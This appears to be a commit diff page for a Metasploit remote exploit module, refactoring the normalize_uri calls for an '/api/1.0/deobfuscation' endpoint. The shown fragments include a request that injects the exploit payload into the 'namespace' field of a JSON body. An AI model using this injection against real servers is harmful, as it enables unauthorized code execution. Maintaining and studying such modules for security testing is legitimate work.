Use normalize_uri a little better
parent
4a609504e3
commit
567873f3cc
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def check
|
def check
|
||||||
response = send_request_cgi({
|
response = send_request_cgi({
|
||||||
'uri' => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'),
|
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
})
|
})
|
||||||
|
@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"
|
data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"
|
||||||
|
|
||||||
send_request_cgi({
|
send_request_cgi({
|
||||||
'uri' => normalize_uri(target_uri.path, '/api/1.0/deobfuscation'),
|
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'ctype' => 'application/json',
|
'ctype' => 'application/json',
|
||||||
'data' => data
|
'data' => data
|
||||||
|
|
Loading…
Reference in New Issue